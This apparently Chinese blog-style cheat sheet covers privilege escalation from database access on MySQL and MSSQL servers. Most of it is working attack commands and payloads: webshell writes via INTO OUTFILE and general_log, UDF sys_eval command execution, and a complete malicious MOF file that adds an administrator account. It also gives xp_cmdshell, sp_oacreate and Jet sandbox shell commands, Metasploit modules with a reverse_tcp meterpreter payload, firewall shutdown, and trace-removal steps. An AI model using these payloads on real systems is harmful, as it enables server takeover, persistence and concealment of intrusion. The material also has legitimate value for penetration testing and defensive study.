Mysql+MSSQL
Mysql
Webshell权限
满足条件
1、知道网站物理路径
2、load_file() 开启 即 secure_file_priv 值为空(非NULL)
3、网站路径有写入权限
4、PHP的GPC参数为off状态(逗号可用)
#查询secure_file_priv
show global variables like '%secure_file_priv%';
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
selectuser,file_priv from mysql.user;
#确认其用户的值为Y即代表此用户拥有文件写入权限
into outfile方法写入
在获取到网站绝对路径后,就可以执行SQL命令来写入shell
Union select “这里是WebShell” into outfile “Web目录”;
当无法使用union时,还可以利用分隔符写入
?id=1 INTO OUTFILE '物理路径' lines terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE '物理路径' fields terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE'物理路径'columns terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE '物理路径' lines startingby (这里是WebShell)#
基于log写入法
基于log写入的方法就是先将日志文件的导出目录修改成Web目录,然后执行了一次简单的WebShell代码查询功能,此时日志文件记录了此过程,这样再Web目录下的日志文件就变成了WebShell。
开启日志set globalgeneral_log = on;
设置日志文件的导出目录:set global general_file=‘Web目录’;
然后执行一遍:select “WebShell代码”;
即可写入webshell。
UDF提权
UDF是mysql的一个拓展接口,UDF(User defined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。其实除了UDF外,使用者还可以将函数添加为MySQL的固有(内建)函数,固有函数被编译进mysqld服务器中,称为永久可用的,不过这种方式较添加UDF复杂,升级维护都较为麻烦,这里我们不做讨论。无论你使用哪种方法去添加新函数,它们都可以被SQL声明调用,就像 ABS()或SUM()这样的固有函数一样。
UDF利用条件
1.知道数据库的用户和密码;
2.mysql可以远程登录;
3.mysql有写入文件的权限,即secure_file_priv的值为空(mysql5.5版本之前secure_file_priv
这个值是默认为空的)
MSF提权
use exploit/multi/mysql/mysql_udf_payload
Linux 环境下UDF提权
查找插件库的路径
show variables like '%plugin%';
得到的结果为:
Variable_name Value
plugin_dir /usr/lib64/mysql/plugin
找到对应操作系统数据库的UDF库文件
sqlmap-master\data\udf\mysql\linux\64下的lib_mysqludf_sys.so_文件
将so文件(UDF库文件)进行16进制编码
将so文件的内容解码,写入到mysql插件库目录中
select unhex('so文件的16进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
查看udf库所支持的函数
注意:需要创建.so文件中存在的函数,可以使用十六进制编辑器打开.so文件,查看可以被创建的函数。
创建函数
写入之后,执行创建函数的命令,就会创建一个sys_eval的函数,用来执行系统命令,这个函数执行的系统命令全部都是system权限。
create function sys_eval returns string soname 'xxx.so';
sys_eval这个函数就可以执行系统命令,括号里输入系统命令即可。
查看当前用户
select sys_eval("whoami");
删除函数
drop function sys_eval;
windows环境下UDF提权
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录
如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限
//sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中
python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
//将解码的.dll文件上传到任意目录
select load_file('C:/XXX/lib_mysqludf_sys.dll') into dumpfile 'C:/MySQL/MySQL Server 5.1/lib/plugin/lib_mysqludf_sys.dll';
//创建函数
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
//执行命令
select sys_eval('whoami');
select sys_eval('ipconfig');
select sys_eval('net stop policyagent'); 关闭防火墙
select sys_eval('net user admin admin /add'); 添加用户
select sys_eval('net localgroup administrators admin /add'); 将用户加到管理组
//删除函数
drop function sys_eval;
//支持的函数
sys_eval - 执行任意命令,并将输出返回。
sys_exec - 执行任意命令,并将退出码返回。
sys_get - 获取一个环境变量。
sys_set - 创建或修改一个环境变量。
other
使用NTFS ADS流创建 plugin,lib 文件夹
select 'It is dll' into dumpfile 'C:/MySQL/MySQL Server 5.1/lib/::$INDEX_ALLOCATION'; //使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'C:/MySQL/MySQL Server 5.1/lib/plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
MOF提权
MOF
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof
)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用有了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
MOF利用条件
- 只使用于windows系统,一般低版本系统才可以用,比如
xp
、server2003
- 对
C:\Windows\System32\wbem\MOF
目录有读写权限 - 可以找到一个可写目录,写入mof文件
手动提权
生成nullevt.mofmof
文件并上传到可写目录
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
进去mysql命令行执行导入命令,导入完成后系统会自动执行
select load_file("C:\nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
select char(35,122....) into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
使用net user
命令即可发现已经加入了管理员组
MSF提权
msf内置了MOF提权模块,相比于手动提权的好处就是msf的MOF模块有自动清理痕迹的功能
use exploit/windows/mysql/mysql_mof
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.10.17
set username root
set password root
run
拓展
因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果
# 停止 winmgmt 服务
net stop winmgmt
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户
net user hacker /delete
# 重新启动服务
net start winmgmt
启动项提权
原理就是将想执行的命令写入到vbs或者bat文件通过mysql导入到开机自启动目录,服务器重启就可以提权成功
添加用户bat
net user yiyayiya yiyayiya /add
重启生效
MSSQL提权
xp_cmdshell提权
xp_cmdshell是数据库中可以执行系统命令的组件,可以通过此组件执行系统命令来提权
sql2005版本以后默认为关闭状态,需要开启命令执行
EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;
RECONFIGURE;
#即可开启xp_cmdshell
此时通过EXEC master.dbo.xp_cmdshell
‘命令’,就可以执行系统命令
如果xp_cmdshell被删除,上传xplog70.dll可恢复
exec master.sys.sp_addextendedproc ‘xp_cmdshell’, ‘C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll’
#最后关闭xp_cmd_shell
exec sp_configure ‘show advanced options’, 1;
reconfigure;
exec sp_configure ‘xp_cmdshell’, 0;
reconfigure;
sp_oacreate提权
sp_oacreate用来调用OLE对象,如果xp_cmdshell组件被删除也可以利用OLE对象的run方法执行系统命令
主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。
启用:
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE
关闭
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 0;
RECONFIGURE WITH OVERRIDE;
通过如下方式执行命令
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,‘run’,null,‘c:\windows\system32\cmd.exe /c whoami >c:\1.txt’
SQL Server 沙盒提权
通过沙盒执行命令
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';
--执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user admin123 123456 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators admin123 /add")')
-- 恢复配置
exec master..xp_regwrite 'HKEY_LOCALMACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
tips
沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
参考
[1] 百度百科
[3] CSDN作者:[3Ss安全前线]《【权限提升】MSSQL提权方法》
[4] CSDN作者:[q1352483315]《MSSQL的提权》
评论区